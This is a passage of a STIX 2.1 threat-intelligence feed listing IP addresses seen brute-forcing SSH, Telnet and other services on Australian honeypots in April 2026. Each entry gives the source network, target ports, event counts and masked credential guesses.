      "valid_from": "2026-04-08T11:15:10.000Z",
      "valid_until": "2026-05-10T11:15:08.000Z"
    },
    {
      "created": "2026-04-08T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Heralding. Target ports: 1080. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): 1***5, ***, a***n, u**r. Passwords observed (masked): 1***5, ***, a***n, p**s.",
      "id": "indicator--2168c7c6-71be-4829-9450-ae6ff7272536",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '204.76.203.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T11:15:10.000Z",
      "valid_until": "2026-05-10T11:15:08.000Z"
    },
    {
      "created": "2026-04-08T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Heralding. Target ports: 1080. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): ***, 1****6, p***y. Passwords observed (masked): ***, 1****6, p***y.",
      "id": "indicator--2e90eb0d-4147-4682-80ac-1ea49435c26b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '204.76.203.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T11:15:10.000Z",
      "valid_until": "2026-05-10T11:15:08.000Z"
    },
    {
      "created": "2026-04-08T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 10439. Organisation(s): CariNet, Inc..",
      "id": "indicator--e2f58963-6201-4b51-9ed5-64e7e5170dc7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '71.6.134.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T11:15:10.000Z",
      "valid_until": "2026-05-10T11:15:08.000Z"
    },
    {
      "created": "2026-04-08T12:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--dcc8df13-a7fe-43f2-8972-a18d49e926af",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '104.248.46.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T12:15:11.000Z",
      "valid_until": "2026-05-10T12:15:08.000Z"
    },
    {
      "created": "2026-04-08T12:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1149. Sensors involved: Heralding. Target ports: 5900. Source country: US. ASN(s): 398019. Organisation(s): Dynu Systems Incorporated. Passwords observed (masked): i******t, h******d, i******u, h******3, h******e.",
      "id": "indicator--7401d085-e6af-4d53-9b64-fa5347e0d8fe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '142.202.188.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T12:15:11.000Z",
      "valid_until": "2026-05-10T12:15:08.000Z"
    },
    {
      "created": "2026-04-08T12:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 138152. Organisation(s): YISU CLOUD LTD. Usernames observed (masked): a****2. Passwords observed (masked): a****2.",
      "id": "indicator--4055cd88-d034-4d5a-a484-cf35c1c1a7e6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '156.227.236.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T12:15:11.000Z",
      "valid_until": "2026-05-10T12:15:08.000Z"
    },
    {
      "created": "2026-04-08T13:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--96726aab-8a91-4031-ae03-143dcfbb25f9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '220.135.110.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T13:15:12.000Z",
      "valid_until": "2026-05-10T13:15:08.000Z"
    },
    {
      "created": "2026-04-08T13:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--da254eb7-9bf9-4bb1-88b5-299aae873f2c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '61.53.74.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T13:15:12.000Z",
      "valid_until": "2026-05-10T13:15:08.000Z"
    },
    {
      "created": "2026-04-08T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 215540. Organisation(s): Global Connectivity Solutions Llp. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--1c91b039-734d-4af3-b791-175e43e1a117",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '194.87.216.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T14:15:10.000Z",
      "valid_until": "2026-05-10T14:15:08.000Z"
    },
    {
      "created": "2026-04-08T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 9762. Organisation(s): kt HCN Co.,Ltd..",
      "id": "indicator--77f769e0-7d05-4837-a884-338627242f68",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '210.57.229.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T14:15:10.000Z",
      "valid_until": "2026-05-10T14:15:08.000Z"
    },
    {
      "created": "2026-04-08T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 53. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 48090. Organisation(s): Techoff Srv Limited. Usernames observed (masked): u****u, m**k, ***, s****a, s**v. Passwords observed (masked): m**k, q********4, ***, s****a, s**v.",
      "id": "indicator--caf96308-34fe-422b-877b-0be302a139bf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.148.10.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T14:15:10.000Z",
      "valid_until": "2026-05-10T14:15:08.000Z"
    },
    {
      "created": "2026-04-08T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--50f84832-3b19-47cb-8757-ffc7152140ba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T14:15:10.000Z",
      "valid_until": "2026-05-10T14:15:08.000Z"
    },
    {
      "created": "2026-04-08T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--edbd0d4f-f6f2-4a8d-8cb6-7a87724fa014",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T14:15:10.000Z",
      "valid_until": "2026-05-10T14:15:08.000Z"
    },
    {
      "created": "2026-04-08T16:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 120. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): r**t, ***, c****e, ***, f******n. Passwords observed (masked): 1******i, A******4, A***6, D****!, O********4.",
      "id": "indicator--ca950a27-7f7f-4050-ad9a-252ee5da3a33",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.189.235.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T16:15:11.000Z",
      "valid_until": "2026-05-10T16:15:08.000Z"
    },
    {
      "created": "2026-04-08T16:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14987. Organisation(s): Rethem Hosting LLC.",
      "id": "indicator--8d0b92d9-c2ea-4253-840d-a8b38f8ef340",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T16:15:11.000Z",
      "valid_until": "2026-05-10T16:15:08.000Z"
    },
    {
      "created": "2026-04-08T16:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--76f448fc-9dee-4bc4-9518-32f8a230241d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '161.35.17.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T16:15:11.000Z",
      "valid_until": "2026-05-10T16:15:08.000Z"
    },
    {
      "created": "2026-04-08T16:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Heralding. Target ports: 5900. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Passwords observed (masked): 0******0, 0**0, 0***0, 0****0, 0*****0.",
      "id": "indicator--0415c3f0-5658-426e-9684-0beabf4f7559",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.153.34.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T16:15:11.000Z",
      "valid_until": "2026-05-10T16:15:08.000Z"
    },
    {
      "created": "2026-04-08T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 63526. Organisation(s): Systems Solutions & development Technologies Limited. Usernames observed (masked): r**t, 3**********4, f****e, m****n, n**i. Passwords observed (masked): 1******e, 3***********4, 3**********4, F******3, Q*******3.",
      "id": "indicator--37ee0a35-b3c9-4053-8330-db479fac39cb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.239.252.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T17:15:10.000Z",
      "valid_until": "2026-05-10T17:15:08.000Z"
    },
    {
      "created": "2026-04-08T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 177. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 152001. Organisation(s): PT Komunikasi Profesional Indonesia. Usernames observed (masked): 3**********4, r**t, u****u, a***n, ***. Passwords observed (masked): 3***********4, 3**********4, 1******e, 1********0, 1******r.",
      "id": "indicator--fd064b1f-271c-4fc1-a147-7bbee2ffd23b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.67.80.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T17:15:10.000Z",
      "valid_until": "2026-05-10T17:15:08.000Z"
    },
    {
      "created": "2026-04-08T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): ***, r**t, 3**********4, r******y, u****u. Passwords observed (masked): 1******e, 1**********E, 1********0, 3***********4, 3**********4.",
      "id": "indicator--168f659c-a88b-47fd-9e96-0c05160d679c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.76.120.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T17:15:10.000Z",
      "valid_until": "2026-05-10T17:15:08.000Z"
    },
    {
      "created": "2026-04-08T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--aa4c3198-7298-43c8-b1dc-c4b0cca2d5a4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T17:15:10.000Z",
      "valid_until": "2026-05-10T17:15:08.000Z"
    },
    {
      "created": "2026-04-08T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): ***. Passwords observed (masked): 1**********E.",
      "id": "indicator--6d91d213-b772-46be-aef4-5ef5761cc19b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '163.7.3.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T17:15:10.000Z",
      "valid_until": "2026-05-10T17:15:08.000Z"
    },
    {
      "created": "2026-04-08T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 202425. Organisation(s): IP Volume inc.",
      "id": "indicator--add1333a-5232-41f8-b4e0-707dbc58ffb4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.242.226.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T17:15:10.000Z",
      "valid_until": "2026-05-10T17:15:08.000Z"
    },
    {
      "created": "2026-04-08T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: EG. ASN(s): 8452. Organisation(s): TE Data.",
      "id": "indicator--8122c05d-2757-4aec-8bc7-d2cd1de5fe2e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '196.218.222.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T17:15:10.000Z",
      "valid_until": "2026-05-10T17:15:08.000Z"
    },
    {
      "created": "2026-04-08T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--bc0244d1-df65-43b1-89a9-4e87e5a23926",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T17:15:10.000Z",
      "valid_until": "2026-05-10T17:15:08.000Z"
    },
    {
      "created": "2026-04-08T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): i******9, r**t.",
      "id": "indicator--3f38d1d5-5ad3-4353-8a8c-4dee0149aa4b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '206.189.93.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T17:15:10.000Z",
      "valid_until": "2026-05-10T17:15:08.000Z"
    },
    {
      "created": "2026-04-08T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Heralding. Target ports: 5432. Source country: GB. ASN(s): 401626. Organisation(s): Netiface America, Inc.. Usernames observed (masked): p******s. Passwords observed (masked): 1****6, p******d, p******s.",
      "id": "indicator--ee2d7591-8b92-4584-8092-45d45d9b63a5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.89.163.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T17:15:10.000Z",
      "valid_until": "2026-05-10T17:15:08.000Z"
    },
    {
      "created": "2026-04-08T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--5094474f-8aed-47a1-96aa-65f310315e5f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T17:15:10.000Z",
      "valid_until": "2026-05-10T17:15:08.000Z"
    },
    {
      "created": "2026-04-08T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 10439. Organisation(s): CariNet, Inc..",
      "id": "indicator--db7d927a-4b0e-48fc-91c2-3c9f9a3a4d05",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '71.6.199.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T17:15:10.000Z",
      "valid_until": "2026-05-10T17:15:08.000Z"
    },
    {
      "created": "2026-04-08T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 107. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 8560. Organisation(s): IONOS SE. Usernames observed (masked): ***, r**t, 3**********4, h****p, m****n. Passwords observed (masked): 1******r, 3***********4, 3**********4, A******+, V*******6.",
      "id": "indicator--bcb4aa49-9b29-43cd-a0dc-42ea60836f09",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '87.106.65.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T17:15:10.000Z",
      "valid_until": "2026-05-10T17:15:08.000Z"
    },
    {
      "created": "2026-04-08T18:15:48.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie. Target ports: 22. Source country: BR. ASN(s): 265130. Organisation(s): FIBRA EMPRESAS LTDA.",
      "id": "indicator--d55cb267-4c25-42b1-a606-796049f472f0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T18:15:48.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '143.208.152.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T18:15:48.000Z",
      "valid_until": "2026-05-10T18:15:09.000Z"
    },
    {
      "created": "2026-04-08T18:15:48.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--cc469a8c-7610-4582-a915-3c3dd2f9f3eb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T18:15:48.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.118.241.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T18:15:48.000Z",
      "valid_until": "2026-05-10T18:15:09.000Z"
    },
    {
      "created": "2026-04-08T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 161. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, s***m, u**r, 3**********4, d******1. Passwords observed (masked): 1**4, 1******8, 1**********y, 3***********4, 3**********4.",
      "id": "indicator--6d221622-b1bb-4106-b245-9d8658305326",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.171.85.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T19:15:11.000Z",
      "valid_until": "2026-05-10T19:15:08.000Z"
    },
    {
      "created": "2026-04-08T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 361. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa. Usernames observed (masked): r**t, u****u, 3**********4, a***n, o**o. Passwords observed (masked): 3***********4, 3**********4, 1****6, 1******@, 1*******d.",
      "id": "indicator--66a010fe-31f8-40e9-8dce-97d8ad08c8c2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '107.175.213.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-08T19:15:11.000Z",
      "valid_until": "2026-05-10T19:15:08.000Z"
    },
    {
      "created": "2026-04-08T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 149. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): r**t, a***n, c******a, d****y, f*****r. Passwords observed (masked): 1****6, 1******@, 1*******d, 1*********#, P******d.",
      "id": "indicator--4f7313a2-2ba1-45c5-a546-e2673c1d86d2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-08T19:15:11.000Z",
